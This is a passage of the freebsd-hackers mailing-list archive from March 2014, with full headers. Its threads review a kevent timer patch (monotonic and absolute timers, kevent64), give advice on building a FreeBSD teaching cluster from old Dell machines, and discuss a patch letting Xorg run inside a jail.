and add the timer to it. We never call kevent() to collect events from this kqueue, so the timer event is never cleared. We add this second kqueue to the main kqueue and then we have our level-triggered semantics. Having NOTE_MONOTONIC imply EV_ONESHOT would mean that we have to do the same on FreeBSD. It works, but it seems very strange that it is necessary to go to such lengths to get the desired behaviour. So if Apple already has NOTE_ABSOLUTE implying EV_ONESHOT, and NOTE_MONOTONIC should strive to be consistent with NOTE_ABSOLUTE, but implying EV_ONESHOT is potentially harmful, then what to do? I'd suggest the introduction of another flag here to reverse (imho) Apple's design mistake -- perhaps called NOTE_LEVEL_TRIGGERED or something like that. As I mentioned, I can get by without this, simply by using the two-kqueues trick, but I think the fact that such a trick is required (to get any behaviour at all, reasonable or otherwise) is an indication that a mistake was made somewhere along the way. Thanks very much for the time you've put into preparing this patch and into understanding my arguments about it. It really is almost exactly what we need (and, if combined with kevent64, already puts FreeBSD into a place where it will have the best implementation of the mainloop of any platform that GLib runs on). Cheers From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 16:44:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7BC86711 for ; Mon, 10 Mar 2014 16:44:20 +0000 (UTC) Received: from stargazer.midnightbsd.org (cl-218.chi-02.us.sixxs.net [IPv6:2001:4978:f:d9::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 24DE5F74 for ; Mon, 10 Mar 2014 16:44:20 +0000 (UTC) Received: from [35.2.28.81] ([35.2.28.81]) (authenticated bits=0) by stargazer.midnightbsd.org (8.14.7/8.14.7) with ESMTP id s2AGi7le029886 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Mon, 10 Mar 2014 12:44:11 -0400 (EDT) (envelope-from luke@foolishgames.com) References: Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPhone Mail (11B651) From: Lucas Holt Subject: Re: Setting up a UNIX cluster Date: Mon, 10 Mar 2014 12:44:07 -0400 To: Brian Kim Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 16:44:20 -0000 Depending on the number of systems to manage, you can either use a PXE boot o= r do individual installs.=20 When I was a student at emu, I setup a cluster of 22 dells with midnightbsd t= o build packages on our magus system and created some Shell scripts to sync a= ll the nodes software and created ssh keys and had a management script to pu= sh down configuration changes. We only had an old netgear 10/100 switch and w= ere h behold an osx box doing nat so it was faster to install rather than px= e boot We bought some low cost shelving from Home Depot to hold them and put them i= n an unused classroom Lucas Holt > On Mar 10, 2014, at 9:44 AM, Brian Kim wrote: >=20 > Dear friends, >=20 > I am currently a teaching assistant for a freshman programming course at > Villanova University. Gloriously enough, we are teaching the C language. > The majority of the students have not had any previous experience in > programming so the extent of their computing knowledge is limited to the > grotesque Windows operating system that they have grown up with. Therefore= , > before any discussion of programming begins, I want the students to be > familiarized with the UNIX environment so that they can gcc all their code= > and not have to be chained down to IDE's. > In order to accomplish this, I have amassed a number of old Dell computers= > that the department has long abandoned and I wish to set up a computer > cluster running FreeBSD. I personally do not have any experience in settin= g > up clusters and was hoping to request any instructional advice in this > regard. > I have come across this paper ( > http://people.freebsd.org/~brooks/papers/bsdcon2003/fbsdcluster.pdf) that > describes the process of setting up a BSD cluster with 300 nodes but I > found the language to be somewhat dense. There is also the fact that I do > not have any specialized hardware other than a bunch of old computers. > Assuming that I have a network switch, could anyone help me out with a > starting point? >=20 > Thanks! > --=20 > Best Wishes, > Brian Kim > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 17:47:11 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E043F225; Mon, 10 Mar 2014 17:47:11 +0000 (UTC) Received: from mail-qc0-x22c.google.com (mail-qc0-x22c.google.com [IPv6:2607:f8b0:400d:c01::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 91B72907; Mon, 10 Mar 2014 17:47:11 +0000 (UTC) Received: by mail-qc0-f172.google.com with SMTP id i8so8221473qcq.3 for ; Mon, 10 Mar 2014 10:47:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=Noz5J0jGBJ2T3HZf9k4UcwslJphUGJcAZZ/7Laq8utI=; b=wt39kXloITg3eTzn2CVOYv4lxzgc+VWktp3r0u6R1o9tBCe93R9+SvkM6AFn0E6tEG B8kBbJN96q+fhLJpMqY4lFZ1h9FzZYwQE+9MyPm6H/ySdVBwPOUVxoiUbfJ8kWP+Yp87 P/2W/ssOCj+yBniEOc2MPCSz9gwUIZKXRl8U/MUGyHJTtcsmR++KeLYbWF4gPD2W91Z+ pgYoiiizR6LbJrvr5IZbyPqv2YWIemKfVAVCc5w9wzE56zUQerMHzXUJfnm0PM+n5NUE 90b2Ap57TvyUwNpjwwxIfF82PdkDmYIbNCNFN4rO4BNwxE4X/W/5iannuwxXbMFhrZ1n oI6Q== MIME-Version: 1.0 X-Received: by 10.140.42.21 with SMTP id b21mr4972911qga.87.1394473630794; Mon, 10 Mar 2014 10:47:10 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.8.137 with HTTP; Mon, 10 Mar 2014 10:47:10 -0700 (PDT) In-Reply-To: <20140310131632.GI6900@ithaqua.etoilebsd.net> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> Date: Mon, 10 Mar 2014 10:47:10 -0700 X-Google-Sender-Auth: KDlRAas5mNh053Y6Y6Asgn5UljY Message-ID: Subject: Re: [CFR] Kevent timer improvements From: Adrian Chadd To: Baptiste Daroussin , John-Mark Gurney Content-Type: text/plain; charset=ISO-8859-1 Cc: desrt@desrt.ca, "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 17:47:11 -0000 On 10 March 2014 06:16, Baptiste Daroussin wrote: > Hi all, > > A glib developer pointed me to some of the improvements Apple has done on > kqueue(2), some of those improvements are used or will be used by glib in the > near futur, plus add new one. > > I decided to implement part of it and here is the first patch about it: > http://people.freebsd.org/~bapt/kevent.diff +jmg, he's also done stuff with queue. I'm all for this idea. :-) -a From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 18:04:07 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7C85D79F; Mon, 10 Mar 2014 18:04:07 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 561C6A99; Mon, 10 Mar 2014 18:04:06 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2AI44rt072107 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Mar 2014 11:04:04 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2AI44NL072106; Mon, 10 Mar 2014 11:04:04 -0700 (PDT) (envelope-from jmg) Date: Mon, 10 Mar 2014 11:04:04 -0700 From: John-Mark Gurney To: Adrian Chadd Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140310180404.GI32089@funkthat.com> Mail-Followup-To: Adrian Chadd , Baptiste Daroussin , "freebsd-hackers@freebsd.org" , desrt@desrt.ca References: <20140310131632.GI6900@ithaqua.etoilebsd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Mon, 10 Mar 2014 11:04:04 -0700 (PDT) Cc: desrt@desrt.ca, Baptiste Daroussin , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 18:04:07 -0000 Adrian Chadd wrote this message on Mon, Mar 10, 2014 at 10:47 -0700: > On 10 March 2014 06:16, Baptiste Daroussin wrote: > > A glib developer pointed me to some of the improvements Apple has done on > > kqueue(2), some of those improvements are used or will be used by glib in the > > near futur, plus add new one. > > > > I decided to implement part of it and here is the first patch about it: > > http://people.freebsd.org/~bapt/kevent.diff > > +jmg, he's also done stuff with queue. and the maintainer of kqueue.. :) The patch looks fine, but it's missing the updates to kqueue(2) to describe what the new flags do... Also, it would be good to see updates to tools/regression/kqueue/timer.c to support the additional flags to make sure that they don't break in the future... P.S. Adrian, you still need to do some kqueue(2) updates yourself. :) -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 18:07:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3D3089C2 for ; Mon, 10 Mar 2014 18:07:09 +0000 (UTC) Received: from mail-wg0-x22f.google.com (mail-wg0-x22f.google.com [IPv6:2a00:1450:400c:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id CD5DBAD6 for ; Mon, 10 Mar 2014 18:07:08 +0000 (UTC) Received: by mail-wg0-f47.google.com with SMTP id x12so9099694wgg.6 for ; Mon, 10 Mar 2014 11:07:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=tm2M2cf6GtOGfWhHb+lWWzSRyTEIWmBbsJ++B+QRh5E=; b=mce59D7DOHOGjDfNETX+Ju65J8CKayuD/EVHPvlUMkt4ZikROfzoky++GWxjJBiXkA idnaUI0jffCA34JDiWBJ8Y1kuY9e8/v3B2AdH1V/K8ilkw+smnMROxn4cyHJX+jwNwpo dyAnF/kBZJJRbEtdB+h7bCc8/GwqEHWkaznaL25kG86ETpOtRAwsGt+828be9Wh5zPG4 P7p39jrUkqNbqgpw8FdKWSWEJB5A9M1vb382O04J5aCt/zskX3L9F0TYZUfyOQ+oZIkB QNWNUSXhVRDHNd9KHZSjKdoULEUeJjql9JafiSBCt8q+t2Fx9gydCXGzmL55F+R+Ktut V6sQ== MIME-Version: 1.0 X-Received: by 10.194.48.100 with SMTP id k4mr3400774wjn.49.1394474827208; Mon, 10 Mar 2014 11:07:07 -0700 (PDT) Received: by 10.194.187.168 with HTTP; Mon, 10 Mar 2014 11:07:07 -0700 (PDT) In-Reply-To: References: Date: Mon, 10 Mar 2014 14:07:07 -0400 Message-ID: Subject: Re: Setting up a UNIX cluster From: Rayson Ho To: Brian Kim Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 18:07:09 -0000 (I was involved in the FreeBSD port of Grid Engine, which is used by the "Fellowship" cluster documented in the paper.) The paper documents the experience in setting up a FreeBSD cluster for High-Performance Computing & High-Throughput Computing. The cluster runs parallel jobs that use MPI. I believe for your use-case, your students are not developing HPC jobs. So you don't really need to set up all the software like Grid Engine, MPI, PXE boot, Ganglia that's mentioned in that paper. Rayson ================================================== Open Grid Scheduler - The Official Open Source Grid Engine http://gridscheduler.sourceforge.net/ http://gridscheduler.sourceforge.net/GridEngine/GridEngineCloud.html On Mon, Mar 10, 2014 at 9:44 AM, Brian Kim wrote: > Dear friends, > > I am currently a teaching assistant for a freshman programming course at > Villanova University. Gloriously enough, we are teaching the C language. > The majority of the students have not had any previous experience in > programming so the extent of their computing knowledge is limited to the > grotesque Windows operating system that they have grown up with. Therefore, > before any discussion of programming begins, I want the students to be > familiarized with the UNIX environment so that they can gcc all their code > and not have to be chained down to IDE's. > In order to accomplish this, I have amassed a number of old Dell computers > that the department has long abandoned and I wish to set up a computer > cluster running FreeBSD. I personally do not have any experience in setting > up clusters and was hoping to request any instructional advice in this > regard. > I have come across this paper ( > http://people.freebsd.org/~brooks/papers/bsdcon2003/fbsdcluster.pdf) that > describes the process of setting up a BSD cluster with 300 nodes but I > found the language to be somewhat dense. There is also the fact that I do > not have any specialized hardware other than a bunch of old computers. > Assuming that I have a network switch, could anyone help me out with a > starting point? > > Thanks! > -- > Best Wishes, > Brian Kim > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 18:23:36 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 442E31AD; Mon, 10 Mar 2014 18:23:36 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E686CCAF; Mon, 10 Mar 2014 18:23:35 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2AINX2S072474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Mar 2014 11:23:34 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2AINXXk072473; Mon, 10 Mar 2014 11:23:33 -0700 (PDT) (envelope-from jmg) Date: Mon, 10 Mar 2014 11:23:33 -0700 From: John-Mark Gurney To: Baptiste Daroussin Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140310182333.GJ32089@funkthat.com> Mail-Followup-To: Baptiste Daroussin , hackers@freebsd.org, desrt@desrt.ca References: <20140310131632.GI6900@ithaqua.etoilebsd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310131632.GI6900@ithaqua.etoilebsd.net> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Mon, 10 Mar 2014 11:23:34 -0700 (PDT) Cc: desrt@desrt.ca, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 18:23:36 -0000 Baptiste Daroussin wrote this message on Mon, Mar 10, 2014 at 14:16 +0100: > A glib developer pointed me to some of the improvements Apple has done on > kqueue(2), some of those improvements are used or will be used by glib in the > near futur, plus add new one. > > I decided to implement part of it and here is the first patch about it: > http://people.freebsd.org/~bapt/kevent.diff > > I will update the manpages accordingly as well: > > Basically this patch added the following to the EVFILT_TIMER: > NOTE_SECONDS data is in seconds > NOTE_USECONDS data is in microseconds > NOTE_NSECONDS data is in nanoseconds Could you contact the maintainer of sbintime and look at adding an SBINTIME_MAX/_MIN define macros and use those instead of INT64_MAX? We shouldn't know the internal implementation type of sbintime_t in the code in case the type changes... > I do plan to add kevent64 support compatible with apple implementation later, as > using NOTE_MONOTONIC without 64bit support is not useful very long :) Is this just to support 64bit data on a 32bit system? Also, why is ident grown to 64bits? I don't see any filters that could possibly need the additional range... I can understand data be expanded to 64bits... Also, what exactly is ext used for? I'm looking at MacOSX's description of ext, and it isn't clear.. it basicly says "ext[0] is passed through much like udata" (only much? not exactly like?), and "ext[1] can always be used like udata"... It isn't clear how/what these are used for, etc.. It looks like the "much like udata" part is because using the EVFILT_MACHPORT will overwrite it. If we do import this, I'd like to be clear on how they are used, i.e. their use is specified by the filter, and if the filter does not use them, they are exactly like additional udata fields.. -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 19:02:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 62A90E7D; Mon, 10 Mar 2014 19:02:04 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 39CAAA2; Mon, 10 Mar 2014 19:02:04 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 4529FB980; Mon, 10 Mar 2014 15:02:03 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: [CFR] Kevent timer improvements Date: Mon, 10 Mar 2014 14:49:30 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310182333.GJ32089@funkthat.com> In-Reply-To: <20140310182333.GJ32089@funkthat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403101449.30958.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Mon, 10 Mar 2014 15:02:03 -0400 (EDT) Cc: desrt@desrt.ca, John-Mark Gurney , hackers@freebsd.org, Baptiste Daroussin X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 19:02:04 -0000 On Monday, March 10, 2014 2:23:33 pm John-Mark Gurney wrote: > Baptiste Daroussin wrote this message on Mon, Mar 10, 2014 at 14:16 +0100: > > A glib developer pointed me to some of the improvements Apple has done on > > kqueue(2), some of those improvements are used or will be used by glib in the > > near futur, plus add new one. > > > > I decided to implement part of it and here is the first patch about it: > > http://people.freebsd.org/~bapt/kevent.diff > > > > I will update the manpages accordingly as well: > > > > Basically this patch added the following to the EVFILT_TIMER: > > NOTE_SECONDS data is in seconds > > NOTE_USECONDS data is in microseconds > > NOTE_NSECONDS data is in nanoseconds > > Could you contact the maintainer of sbintime and look at adding an > SBINTIME_MAX/_MIN define macros and use those instead of INT64_MAX? We > shouldn't know the internal implementation type of sbintime_t in the > code in case the type changes... > > > I do plan to add kevent64 support compatible with apple implementation later, as > > using NOTE_MONOTONIC without 64bit support is not useful very long :) > > Is this just to support 64bit data on a 32bit system? Also, why is > ident grown to 64bits? I don't see any filters that could possibly > need the additional range... I can understand data be expanded to > 64bits... > > Also, what exactly is ext used for? I'm looking at MacOSX's description > of ext, and it isn't clear.. it basicly says "ext[0] is passed through > much like udata" (only much? not exactly like?), and "ext[1] can always > be used like udata"... It isn't clear how/what these are used for, etc.. > > It looks like the "much like udata" part is because using the > EVFILT_MACHPORT will overwrite it. If we do import this, I'd like to > be clear on how they are used, i.e. their use is specified by the > filter, and if the filter does not use them, they are exactly like > additional udata fields.. Yes, my reading is that that is what they are in practice on OS X, but the manpage has rotted. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 19:02:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5A166E47; Mon, 10 Mar 2014 19:02:02 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 32078A1; Mon, 10 Mar 2014 19:02:02 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 1CB9AB9C4; Mon, 10 Mar 2014 15:02:01 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: [PATCH] Xorg in a jail Date: Mon, 10 Mar 2014 14:42:23 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <531BF113.7060704@freebsd.org> In-Reply-To: <531BF113.7060704@freebsd.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403101442.23546.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Mon, 10 Mar 2014 15:02:01 -0400 (EDT) Cc: Tom Evans , Alexander Leidinger , "freebsd-x11@freebsd.org" , James Gritton X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 19:02:02 -0000 On Saturday, March 08, 2014 11:41:55 pm James Gritton wrote: > On 3/8/2014 6:26 PM, Tom Evans wrote: > > I've been reinstalling my home server with 10-STABLE and wanted to > > compartmentalise all the disparate tasks it does - file storage, DNS, > > web servers and mplayer/xorg/media stuff in general - in to a separate > > jail for each task. > > > > For the most part, this was quite straightforward, apart from with > > xorg I found that it wasn't quite supported. I found Alexander's > > patch, and the work Jamie did in part integrating it, allowing kmem > > read, and reworked it for 10-STABLE. > > > > From Jamie's emails it looked like he was working on a way of properly > > integrating these permissions in a more unified way, but I had a > > pressing need :) > > > > I've tested this on 10-STABLE r262457M, intel graphics (ivy bridge, > > WITH_NEW_XORG), and everything seems to work just fine. I'm going to > > try out radeonkms and nvidia tomorrow also. > > > > Also please note that whilst I want things jailed for separation and > > neatness concerns rather than security, it must be pointed out that > > letting one jail read and write kernel memory of the whole machine is > > not at all secure! Anyone with root in this xorg jail would be able to > > break free of the jail. > > The work to "properly integrate" the permissions got the kibosh for > just that reason. The kmem permission thing can stand on it's own, > but it's not going to be jail-triggered except in an unofficial patch. > > There's theoretically a "right way" to do this, that would allow an > X11-enabled jail to remain secure, but that right way involves > rewriting the graphics drivers not to use any direct kernel/dev memory > access, and is so way out of scope as not to be considered (at least > by anyone I know). I think it's more that a flag whose name implied "no security checks" would be fine, but that 'allow_kmem' was a bit too inocuous-looking for a jail flag. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 19:02:06 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 91FFCE7F; Mon, 10 Mar 2014 19:02:06 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 54F2AA3; Mon, 10 Mar 2014 19:02:06 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 3B065B9B9; Mon, 10 Mar 2014 15:02:05 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: [CFR] Kevent timer improvements Date: Mon, 10 Mar 2014 15:01:34 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <1394461730.9823.92673865.45316D77@webmail.messagingengine.com> In-Reply-To: <1394461730.9823.92673865.45316D77@webmail.messagingengine.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403101501.34306.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Mon, 10 Mar 2014 15:02:05 -0400 (EDT) Cc: Ryan Lortie , Baptiste Daroussin , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 19:02:06 -0000 On Monday, March 10, 2014 10:28:50 am Ryan Lortie wrote: > hi Baptiste, > > Thanks for the patch! This helps us a lot and is already a very good > fit for the way we manage event times in GLib. > > On Mon, Mar 10, 2014, at 9:16, Baptiste Daroussin wrote: > > Note that NOTE_MONOTONIC is right only valid as EV_ONESHOT as the is the > > behaviour that make sense to me concerning this kind of event, should it > > be different? in that case what behaviour would be expected here? > > Speaking somewhat philosophically, it's my opinion that an absolute > timer that is past its timeout is something like a pipe or socket that > has polled as ready for input, but will never be read. In the case of a > timer based on the real clock, the only way to reverse the condition > would be to change the clock backwards. For monotonic time, there is no > way to reverse the condition. This is distinctly different from > periodic timers where the condition can become ready and then "more > ready" just by the simple passage of more time. > > Ideally, I don't believe that we should implicitly add EV_ONESHOT or > even EV_CLEAR to the event mask of absolute timer events. Although the > user would typically want to do that for themselves, I don't believe > that it makes sense to assume that for them -- they should have the > choice, just as they do with pipes and sockets. Absolute timeouts (whether CLOCK_MONOTONIC or CLOCK_REALTIME) don't make sense as a repeating timer, so they are "oneshot" in that sense, but I do see what you mean by wanting to have a timer that is level triggered and needs a manual clear (so no EV_CLEAR). At this point, it would be hard to make the EV_CLEAR optional for existing timers without breaking lots of existing software. OTOH, we could allow absolute timeouts (which are new) to require explicit EV_CLEAR. The absolute timeout would just never rearm anything explicitly rather than requiring EV_ONESHOT to get that as a side effect. There is actually a bug now (well, dead code) in the current patch where it is trying to reschedule a timer in filter_timerexpire() for an absolute timer. It should look like this instead: filt_timerexpire() { ... KNOTE_ACTIVATE(kn, 0); if (!(kn->kn_flags & EV_ONESHOT) && !(kn->kn_sfflags & NOTE_MONOTONIC)) { // rearm the timer } } Note that this removes all need for the 'flag' variable in filt_timerexpire(). You would also make the '|= EV_CLEAR' in filt_timerattach() conditional on !(flags & NOTE_MONOTONIC). -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG 